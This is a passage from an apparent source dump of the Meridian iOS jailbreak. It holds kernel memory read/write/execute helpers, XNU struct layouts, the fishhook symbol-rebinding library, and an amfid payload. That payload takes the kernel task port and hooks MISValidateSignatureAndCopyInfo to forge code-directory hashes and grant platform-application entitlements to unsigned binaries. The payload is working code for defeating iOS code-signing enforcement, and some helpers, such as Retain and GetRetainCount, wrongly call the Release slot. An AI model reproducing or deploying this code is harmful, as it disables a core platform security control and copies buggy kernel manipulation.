offsetof_csb_entitlements_offset; extern unsigned offsetof_csb_signer_type; extern unsigned offsetof_csb_platform_binary; extern unsigned offsetof_csb_platform_path; extern unsigned offsetof_t_flags; ================================================ FILE: Meridian/amfid/helpers/osobject.c ================================================ #include #include "kern_utils.h" #include "kexecute.h" #include "kmem.h" #include "osobject.h" // offsets in vtable: static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; // 1 on success, 0 on error int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { size_t len = strlen(key) + 1; uint64_t ks = kalloc(len); kwrite(ks, key, len); uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); kfree(ks, len); return rv; } // XXX it can return 0 in lower 32 bits but still be valid // fix addr of returned value and check if rk64 gives ptr // to vtable addr saved before // address if exists, 0 if not uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { size_t len = strlen(key) + 1; uint64_t ks = kalloc(len); kwrite(ks, key, len); uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { uint64_t ret = _OSDictionary_GetItem(dict, key); if (ret != 0) { // XXX can it be not in zalloc?.. ret = zm_fix_addr(ret); } return ret; } // 1 on success, 0 on error int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { uint64_t vtab = rk64(dict); uint64_t f = rk64(vtab + off_OSDictionary_Merge); return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); } // 1 on success, 0 on error int OSArray_Merge(uint64_t array, uint64_t aArray) { uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_Merge); return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); } uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_GetObject); return kexecute(f, array, idx, 0, 0, 0, 0, 0); } uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ uint64_t ret = _OSArray_GetObject(array, idx); if (ret != 0){ // XXX can it be not in zalloc?.. ret = zm_fix_addr(ret); } return ret; } void OSArray_RemoveObject(uint64_t array, unsigned int idx){ uint64_t vtab = rk64(array); uint64_t f = rk64(vtab + off_OSArray_RemoveObject); (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); } // XXX error handling just for fun? :) uint64_t _OSUnserializeXML(const char* buffer) { size_t len = strlen(buffer) + 1; uint64_t ks = kalloc(len); kwrite(ks, buffer, len); uint64_t errorptr = 0; uint64_t rv = kexecute(offset_osunserialize_xml, ks, errorptr, 0, 0, 0, 0, 0); kfree(ks, len); return rv; } uint64_t OSUnserializeXML(const char* buffer) { uint64_t ret = _OSUnserializeXML(buffer); if (ret != 0) { // XXX can it be not in zalloc?.. ret = zm_fix_addr(ret); } return ret; } void OSObject_Release(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } void OSObject_Retain(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } uint32_t OSObject_GetRetainCount(uint64_t osobject) { uint64_t vtab = rk64(osobject); uint64_t f = rk64(vtab + off_OSObject_Release); return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); } unsigned int OSString_GetLength(uint64_t osstring){ uint64_t vtab = rk64(osstring); uint64_t f = rk64(vtab + off_OSString_GetLength); return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); } char *OSString_CopyString(uint64_t osstring){ unsigned int length = OSString_GetLength(osstring); char *str = (char *)malloc(length + 1); str[length] = 0; kread(OSString_CStringPtr(osstring), str, length); return str; } ================================================ FILE: Meridian/amfid/helpers/osobject.h ================================================ #define OSDictionary_ItemCount(dict) rk32(dict+20) #define OSDictionary_ItemBuffer(dict) rk64(dict+32) #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) #define OSString_CStringPtr(str) rk64(str + 0x10) #define OSArray_ItemCount(arr) rk32(arr+0x14) #define OSArray_ItemBuffer(arr) rk64(arr+32) // see osobject.c for info int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); int OSDictionary_Merge(uint64_t dict, uint64_t aDict); void OSArray_RemoveObject(uint64_t array, unsigned int idx); uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); int OSArray_Merge(uint64_t array, uint64_t aArray); uint64_t OSUnserializeXML(const char* buffer); void OSObject_Release(uint64_t osobject); void OSObject_Retain(uint64_t osobject); uint32_t OSObject_GetRetainCount(uint64_t osobject); unsigned int OSString_GetLength(uint64_t osstring); char *OSString_CopyString(uint64_t osstring); ================================================ FILE: Meridian/amfid/kern_utils.h ================================================ #import #import #import #import #import kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); /****** IOKit/IOKitLib.h *****/ typedef mach_port_t io_service_t; typedef mach_port_t io_connect_t; extern const mach_port_t kIOMasterPortDefault; #define IO_OBJECT_NULL (0) kern_return_t IOConnectCallAsyncMethod( mach_port_t connection, uint32_t selector, mach_port_t wakePort, uint64_t* reference, uint32_t referenceCnt, const uint64_t* input, uint32_t inputCnt, const void* inputStruct, size_t inputStructCnt, uint64_t* output, uint32_t* outputCnt, void* outputStruct, size_t* outputStructCntP); kern_return_t IOConnectCallMethod( mach_port_t connection, uint32_t selector, const uint64_t* input, uint32_t inputCnt, const void* inputStruct, size_t inputStructCnt, uint64_t* output, uint32_t* outputCnt, void* outputStruct, size_t* outputStructCntP); io_service_t IOServiceGetMatchingService( mach_port_t _masterPort, CFDictionaryRef matching); CFMutableDictionaryRef IOServiceMatching( const char* name); kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t* connect ); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); extern mach_port_t tfp0; extern uint64_t kernel_base; extern uint64_t kernel_slide; extern uint64_t offset_zonemap; extern uint64_t offset_kernel_task; extern uint64_t offset_vfs_context_current; extern uint64_t offset_vnode_getfromfd; extern uint64_t offset_vnode_getattr; extern uint64_t offset_vnode_put; extern uint64_t offset_csblob_ent_dict_set; extern uint64_t offset_sha1_init; extern uint64_t offset_sha1_update; extern uint64_t offset_sha1_final; extern uint64_t offset_add_x0_x0_0x40_ret; extern uint64_t offset_osboolean_true; extern uint64_t offset_osboolean_false; extern uint64_t offset_osunserialize_xml; extern uint64_t offset_cs_find_md; uint64_t proc_find(int pid, int tries); uint64_t find_port(mach_port_name_t port); ================================================ FILE: Meridian/amfid/kern_utils.m ================================================ #import #include #include #include "common.h" #include "kern_utils.h" #include "kmem.h" #include "offsetof.h" mach_port_t tfp0; uint64_t kernel_base; uint64_t kernel_slide; uint64_t offset_zonemap; uint64_t offset_kernel_task; uint64_t offset_vfs_context_current; uint64_t offset_vnode_getfromfd; uint64_t offset_vnode_getattr; uint64_t offset_vnode_put; uint64_t offset_csblob_ent_dict_set; uint64_t offset_sha1_init; uint64_t offset_sha1_update; uint64_t offset_sha1_final; uint64_t offset_add_x0_x0_0x40_ret; uint64_t offset_osboolean_true; uint64_t offset_osboolean_false; uint64_t offset_osunserialize_xml; uint64_t offset_cs_find_md; uint64_t proc_find(int pd, int tries) { while (tries-- > 0) { uint64_t ktask = rk64(offset_kernel_task); uint64_t kern_proc = rk64(ktask + offsetof_bsd_info); uint64_t proc = rk64(kern_proc + 0x08); while (proc) { uint32_t proc_pid = rk32(proc + 0x10); if (proc_pid == pd) { return proc; } proc = rk64(proc + 0x08); } } return 0; } CACHED_FIND(uint64_t, our_task_addr) { uint64_t our_proc = proc_find(getpid(), 3); if (our_proc == 0) { NSLog(@"failed to find our_task_addr!"); return -1; } return rk64(our_proc + offsetof_task); } uint64_t find_port(mach_port_name_t port) { uint64_t task_addr = our_task_addr(); if (task_addr == -1) { return -1; } uint64_t itk_space = rk64(task_addr + offsetof_itk_space); uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } ================================================ FILE: Meridian/amfid/main.m ================================================ // Massive creds to @theninjaprawn for his async_wake fork & help getting this patch to work :) // [2018-3-14] big thanks for stek for letting me use his code on proper blob parsing :) -> https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "fishhook.h" #include "kern_utils.h" #include "kexecute.h" #include "kmem.h" #include "ent_patching.h" int (*old_MISValidateSignatureAndCopyInfo)(NSString* file, NSDictionary* options, NSMutableDictionary** info); int (*old_MISValidateSignatureAndCopyInfo_broken)(NSString* file, NSDictionary* options, NSMutableDictionary** info); int fake_MISValidateSignatureAndCopyInfo(NSString* file, NSDictionary* options, NSMutableDictionary** info) { const char *file_path = [file UTF8String]; INFO(@"called for file %s", file_path); // Call the original func old_MISValidateSignatureAndCopyInfo(file, options, info); if (info == NULL) { INFO("info is null - skipping"); return 0; } if (*info == NULL) { *info = [[NSMutableDictionary alloc] init]; if (*info == nil) { ERROR("out of memory - can't alloc info"); return 0; } } if ([*info objectForKey:@"CdHash"]) { return 0; } NSNumber *file_offset = [options objectForKey:@"UniversalFileOffset"]; uint64_t file_off = [file_offset unsignedLongLongValue]; img_info_t img; img.name = file.UTF8String; img.file_off = file_off; if (open_img(&img)) { ERROR(@"failed to open file: %@", file); return 0; } uint32_t cs_length; const void *code_signature = find_code_signature(&img, &cs_length); if (code_signature == NULL) { ERROR(@"can't find code signature: %@", file); close_img(&img); return 0; } const CS_CodeDirectory *chosen_csdir = NULL; uint32_t cdir_offset = 0; const CS_GenericBlob *entitlements = NULL; // may be NULL for no entitlements int ret = find_best_codedir(code_signature, cs_length, &chosen_csdir, &cdir_offset, &entitlements); if (ret != 0) { ERROR(@"failed to find the best code directory"); close_img(&img); return 0; } uint8_t cd_hash[CS_CDHASH_LEN]; ret = hash_code_directory(chosen_csdir, cd_hash); if (ret != 0) { ERROR(@"failed to hash code directory"); close_img(&img); return 0; } NSData *ns_cdhash = [[NSData alloc] initWithBytes:cd_hash length:sizeof(cd_hash)]; [*info setValue:ns_cdhash forKey:@"CdHash"]; const char *hash_name = get_hash_name(chosen_csdir->hashType); INFO(@"magic was performed [%08x (%s)]: %@", ntohl(*(uint64_t *)cd_hash), hash_name, file); // let's check entitlements, add platform-application if necessary ret = fixup_platform_application(file.UTF8String, file_off, code_signature, cs_length, cd_hash, cdir_offset, entitlements); if (ret != 0) { ERROR(@"fixup_platform_application returned: %d", ret); } close_img(&img); return 0; } __attribute__ ((constructor)) static void ctor(void) { INFO("preparing to fuck up amfid :)"); kern_return_t ret = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0); if (ret != KERN_SUCCESS || tfp0 == MACH_PORT_NULL) { ERROR("failed to get tfp0!"); return; } INFO("got tfp0: %x", tfp0); NSDictionary *off_file = [NSDictionary dictionaryWithContentsOfFile:@"/meridian/offsets.plist"]; if (off_file == NULL) { ERROR("failed to find the offsets file!"); return; } kernel_base = strtoull([off_file[@"KernelBase"] UTF8String], NULL, 16); kernel_slide = strtoull([off_file[@"KernelSlide"] UTF8String], NULL, 16); offset_zonemap = strtoull([off_file[@"ZoneMap"] UTF8String], NULL, 16) + kernel_slide; offset_kernel_task = strtoull([off_file[@"KernelTask"] UTF8String], NULL, 16) + kernel_slide; offset_vfs_context_current = strtoull([off_file[@"VfsContextCurrent"] UTF8String], NULL, 16) + kernel_slide; offset_vnode_getfromfd = strtoull([off_file[@"VnodeGetFromFD"] UTF8String], NULL, 16) + kernel_slide; offset_vnode_getattr = strtoull([off_file[@"VnodeGetAttr"] UTF8String], NULL, 16) + kernel_slide; offset_vnode_put = strtoull([off_file[@"VnodePut"] UTF8String], NULL, 16) + kernel_slide; offset_csblob_ent_dict_set = strtoull([off_file[@"CSBlobEntDictSet"] UTF8String], NULL, 16) + kernel_slide; offset_sha1_init = strtoull([off_file[@"SHA1Init"] UTF8String], NULL, 16) + kernel_slide; offset_sha1_update = strtoull([off_file[@"SHA1Update"] UTF8String], NULL, 16) + kernel_slide; offset_sha1_final = strtoull([off_file[@"SHA1Final"] UTF8String], NULL, 16) + kernel_slide; offset_add_x0_x0_0x40_ret = strtoull([off_file[@"AddGadgetRet"] UTF8String], NULL, 16); offset_osboolean_true = strtoull([off_file[@"OSBooleanTrue"] UTF8String], NULL, 16); offset_osboolean_false = strtoull([off_file[@"OSBooleanFalse"] UTF8String], NULL, 16); offset_osunserialize_xml = strtoull([off_file[@"OSUnserializeXML"] UTF8String], NULL, 16); offset_cs_find_md = strtoull([off_file[@"CSFindMD"] UTF8String], NULL, 16); INFO("grabbed all offsets! eg: %llx, %llx, slide: %llx", offset_kernel_task, offset_sha1_final, kernel_slide); init_kexecute(); // This is some wicked crazy shit that needs to happen to correctly patch // after amfid has been killed & launched & patched again... it's nuts. // shouldn't even work. creds whoever came up w this @ ElectraTeam void *libmis = dlopen("/usr/lib/libmis.dylib", RTLD_NOW); old_MISValidateSignatureAndCopyInfo = dlsym(libmis, "MISValidateSignatureAndCopyInfo"); struct rebinding rebindings[] = { { "MISValidateSignatureAndCopyInfo", (void *)fake_MISValidateSignatureAndCopyInfo, (void **)&old_MISValidateSignatureAndCopyInfo_broken } /* you can say that again ^^^^^^ */ }; rebind_symbols(rebindings, 1); INFO("functions have been hooked! get fucked, codesigning :-)"); // touch file so Meridian know's we're alive in here fclose(fopen("/var/tmp/amfid_payload.alive", "w+")); } ================================================ FILE: Meridian/amfid/ubc_headers.h ================================================ #include /* vnode types (vnode->v_type) */ enum vtype { /* 0 */ VNON, /* 1 - 5 */ VREG, VDIR, VBLK, VCHR, VLNK, /* 6 - 10 */ VSOCK, VFIFO, VBAD, VSTR, VCPLX }; //struct qm_trace { // char * lastfile; // int lastline; // char * prevfile; // int prevline; //}; typedef struct { unsigned long opaque[2]; } lck_mtx_t; //struct ucred; //typedef struct ucred *kauth_cred_t; typedef struct vnode * vnode_t; struct vnode { lck_mtx_t v_lock; /* vnode mutex */ struct { struct uint64_t *tqe_first; struct uint64_t **tqe_prev; } v_freelist; struct { struct uint64_t *tqe_first; struct uint64_t **tqe_prev; } v_mntvnodes; struct { struct uint64_t *tqh_first; struct uint64_t **tqh_last; } v_ncchildren; struct { struct uint64_t *lh_first; } v_nclinks; // On some earlier 10.x versions this will NOT be a kernel pointer // the struct was actually 8 bytes smaller due to v_nclinks being // defined via LIST_HEAD versus TAILQ_HEAD in newer xnu versions // On later 10.x versions this *will* be a kernel pointer vnode_t v_defer_reclaimlist; /* in case we have to defer the reclaim to avoid recursion */ uint32_t v_listflag; /* flags protected by the vnode_list_lock (see below) */ uint32_t v_flag; /* vnode flags (see below) */ uint16_t v_lflag; /* vnode local and named ref flags */ uint8_t v_iterblkflags; /* buf iterator flags */ uint8_t v_references; /* number of times io_count has been granted */ int32_t v_kusecount; /* count of in-kernel refs */ int32_t v_usecount; /* reference count of users */ int32_t v_iocount; /* iocounters */ void * v_owner; /* act that owns the vnode */ uint16_t v_type; /* vnode type */ uint16_t v_tag; /* type of underlying data */ uint32_t v_id; /* identity of vnode contents */ union { struct mount *vu_mountedhere; /* ptr to mounted vfs (VDIR) */ struct socket *vu_socket; /* unix ipc (VSOCK) */ struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */ struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */ struct ubc_info *vu_ubcinfo; /* valid for (VREG) */ } v_un; /* rest removed */ }; struct ubc_info { uint64_t ui_pager; /* pager */ uint64_t ui_control; /* VM control for the pager */ vnode_t ui_vnode; /* vnode for this ubc_info */ kauth_cred_t ui_ucred; /* holds credentials for NFS paging */ int64_t ui_size; /* file size for the vnode */ uint32_t ui_flags; /* flags */ uint32_t cs_add_gen; /* generation count when csblob was validated */ struct cl_readahead *cl_rahead; /* cluster read ahead context */ struct cl_writebehind *cl_wbehind; /* cluster write behind context */ struct timespec cs_mtime; /* modify time of file when first cs_blob was loaded */ struct cs_blob *cs_blobs; /* for CODE SIGNING */ /* rest removed */ }; struct cs_blob { struct cs_blob *csb_next; int csb_cpu_type; unsigned int csb_flags; long long csb_base_offset; /* Offset of Mach-O binary in fat binary */ long long csb_start_offset; /* Blob coverage area start, from csb_base_offset */ long long csb_end_offset; /* Blob coverage area end, from csb_base_offset */ unsigned long csb_mem_size; unsigned long csb_mem_offset; unsigned long csb_mem_kaddr; unsigned char csb_cdhash[CS_CDHASH_LEN]; const struct cs_hash *csb_hashtype; unsigned long csb_hash_pagesize; /* each hash entry represent this many bytes */ unsigned long csb_hash_pagemask; unsigned long csb_hash_pageshift; unsigned long csb_hash_firstlevel_pagesize; const CS_CodeDirectory *csb_cd; const char * csb_teamid; const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */ void * csb_entitlements; /* The entitlements as an OSDictionary */ unsigned int csb_platform_binary; unsigned int csb_platform_path; }; struct cs_hash { uint8_t cs_type; /* type code as per code signing */ size_t cs_size; /* size of effective hash (may be truncated) */ size_t cs_digest_size; /* size of native hash */ uint64_t cs_init; uint64_t cs_update; uint64_t cs_final; }; struct vnode_attr { /* bitfields */ uint64_t va_supported; uint64_t va_active; /* * Control flags. The low 16 bits are reserved for the * ioflags being passed for truncation operations. */ int va_vaflags; /* traditional stat(2) parameter fields */ dev_t va_rdev; /* device id (device nodes only) */ uint64_t va_nlink; /* number of references to this file */ uint64_t va_total_size; /* size in bytes of all forks */ uint64_t va_total_alloc; /* disk space used by all forks */ uint64_t va_data_size; /* size in bytes of the fork managed by current vnode */ uint64_t va_data_alloc; /* disk space used by the fork managed by current vnode */ uint32_t va_iosize; /* optimal I/O blocksize */ /* file security information */ uid_t va_uid; /* owner UID */ gid_t va_gid; /* owner GID */ mode_t va_mode; /* posix permissions */ uint32_t va_flags; /* file flags */ struct kauth_acl *va_acl; /* access control list */ /* timestamps */ struct timespec va_create_time; /* time of creation */ struct timespec va_access_time; /* time of last access */ struct timespec va_modify_time; /* time of last data modification */ struct timespec va_change_time; /* time of last metadata change */ struct timespec va_backup_time; /* time of last backup */ }; ================================================ FILE: Meridian/exportPlist.plist ================================================ ================================================ FILE: Meridian/fishhook/fishhook.c ================================================ // Copyright (c) 2013, Facebook, Inc. // All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name Facebook nor the names of its contributors may be used to // endorse or promote products derived from this software without specific // prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #import "fishhook.h" #import #import #import #import #import #import #import #ifdef __LP64__ typedef struct mach_header_64 mach_header_t; typedef struct segment_command_64 segment_command_t; typedef struct section_64 section_t; typedef struct nlist_64 nlist_t; #define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT_64 #else typedef struct mach_header mach_header_t; typedef struct segment_command segment_command_t; typedef struct section section_t; typedef struct nlist nlist_t; #define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT #endif #ifndef SEG_DATA_CONST #define SEG_DATA_CONST "__DATA_CONST" #endif struct rebindings_entry { struct rebinding *rebindings; size_t rebindings_nel; struct rebindings_entry *next; }; static struct rebindings_entry *_rebindings_head; static int prepend_rebindings(struct rebindings_entry **rebindings_head, struct rebinding rebindings[], size_t nel) { struct rebindings_entry *new_entry = (struct rebindings_entry *) malloc(sizeof(struct rebindings_entry)); if (!new_entry) { return -1; } new_entry->rebindings = (struct rebinding *) malloc(sizeof(struct rebinding) * nel); if (!new_entry->rebindings) { free(new_entry); return -1; } memcpy(new_entry->rebindings, rebindings, sizeof(struct rebinding) * nel); new_entry->rebindings_nel = nel; new_entry->next = *rebindings_head; *rebindings_head = new_entry; return 0; } static void perform_rebinding_with_section(struct rebindings_entry *rebindings, section_t *section, intptr_t slide, nlist_t *symtab, char *strtab, uint32_t *indirect_symtab) { uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1; void **indirect_symbol_bindings = (void **)((uintptr_t)slide + section->addr); for (uint i = 0; i < section->size / sizeof(void *); i++) { uint32_t symtab_index = indirect_symbol_indices[i]; if (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL || symtab_index == (INDIRECT_SYMBOL_LOCAL | INDIRECT_SYMBOL_ABS)) { continue; } uint32_t strtab_offset = symtab[symtab_index].n_un.n_strx; char *symbol_name = strtab + strtab_offset; if (strnlen(symbol_name, 2) < 2) { continue; } struct rebindings_entry *cur = rebindings; while (cur) { for (uint j = 0; j < cur->rebindings_nel; j++) { if (strcmp(&symbol_name[1], cur->rebindings[j].name) == 0) { if (cur->rebindings[j].replaced != NULL && indirect_symbol_bindings[i] != cur->rebindings[j].replacement) { *(cur->rebindings[j].replaced) = indirect_symbol_bindings[i]; } indirect_symbol_bindings[i] = cur->rebindings[j].replacement; goto symbol_loop; } } cur = cur->next; } symbol_loop:; } } static void rebind_symbols_for_image(struct rebindings_entry *rebindings, const struct mach_header *header, intptr_t slide) { Dl_info info; if (dladdr(header, &info) == 0) { return; } segment_command_t *cur_seg_cmd; segment_command_t *linkedit_segment = NULL; struct symtab_command* symtab_cmd = NULL; struct dysymtab_command* dysymtab_cmd = NULL; uintptr_t cur = (uintptr_t)header + sizeof(mach_header_t); for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) { cur_seg_cmd = (segment_command_t *)cur; if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) { if (strcmp(cur_seg_cmd->segname, SEG_LINKEDIT) == 0) { linkedit_segment = cur_seg_cmd; } } else if (cur_seg_cmd->cmd == LC_SYMTAB) { symtab_cmd = (struct symtab_command*)cur_seg_cmd; } else if (cur_seg_cmd->cmd == LC_DYSYMTAB) { dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd; } } if (!symtab_cmd || !dysymtab_cmd || !linkedit_segment || !dysymtab_cmd->nindirectsyms) { return; } // Find base symbol/string table addresses uintptr_t linkedit_base = (uintptr_t)slide + linkedit_segment->vmaddr - linkedit_segment->fileoff; nlist_t *symtab = (nlist_t *)(linkedit_base + symtab_cmd->symoff); char *strtab = (char *)(linkedit_base + symtab_cmd->stroff); // Get indirect symbol table (array of uint32_t indices into symbol table) uint32_t *indirect_symtab = (uint32_t *)(linkedit_base + dysymtab_cmd->indirectsymoff); cur = (uintptr_t)header + sizeof(mach_header_t); for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) { cur_seg_cmd = (segment_command_t *)cur; if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) { if (strcmp(cur_seg_cmd->segname, SEG_DATA) != 0 && strcmp(cur_seg_cmd->segname, SEG_DATA_CONST) != 0) { continue; } for (uint j = 0; j < cur_seg_cmd->nsects; j++) { section_t *sect = (section_t *)(cur + sizeof(segment_command_t)) + j; if ((sect->flags & SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) { perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab); } if ((sect->flags & SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) { perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab); } } } } } static void _rebind_symbols_for_image(const struct mach_header *header, intptr_t slide) { rebind_symbols_for_image(_rebindings_head, header, slide); } int rebind_symbols_image(void *header, intptr_t slide, struct rebinding rebindings[], size_t rebindings_nel) { struct rebindings_entry *rebindings_head = NULL; int retval = prepend_rebindings(&rebindings_head, rebindings, rebindings_nel); rebind_symbols_for_image(rebindings_head, (const struct mach_header *) header, slide); free(rebindings_head); return retval; } int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) { int retval = prepend_rebindings(&_rebindings_head, rebindings, rebindings_nel); if (retval < 0) { return retval; } // If this was the first call, register callback for image additions (which is also invoked for // existing images, otherwise, just run on existing images if (!_rebindings_head->next) { _dyld_register_func_for_add_image(_rebind_symbols_for_image); } else { uint32_t c = _dyld_image_count(); for (uint32_t i = 0; i < c; i++) { _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i)); } } return retval; } ================================================ FILE: Meridian/fishhook/fishhook.h ================================================ // Copyright (c) 2013, Facebook, Inc. // All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name Facebook nor the names of its contributors may be used to // endorse or promote products derived from this software without specific // prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef fishhook_h #define fishhook_h #include #include #if !defined(FISHHOOK_EXPORT) #define FISHHOOK_VISIBILITY __attribute__((visibility("hidden"))) #else #define FISHHOOK_VISIBILITY __attribute__((visibility("default"))) #endif #ifdef __cplusplus extern "C" { #endif //__cplusplus /* * A structure representing a particular intended rebinding from a symbol * name to its replacement */ struct rebinding { const char *name; void *replacement; void **replaced; }; /* * For each rebinding in rebindings, rebinds references to external, indirect * symbols with the specified name to instead point at replacement for each * image in the calling process as well as for all future images that are loaded * by the process. If rebind_functions is called more than once, the symbols to * rebind are added to the existing list of rebindings, and if a given symbol * is rebound more than once, the later rebinding will take precedence. */ FISHHOOK_VISIBILITY 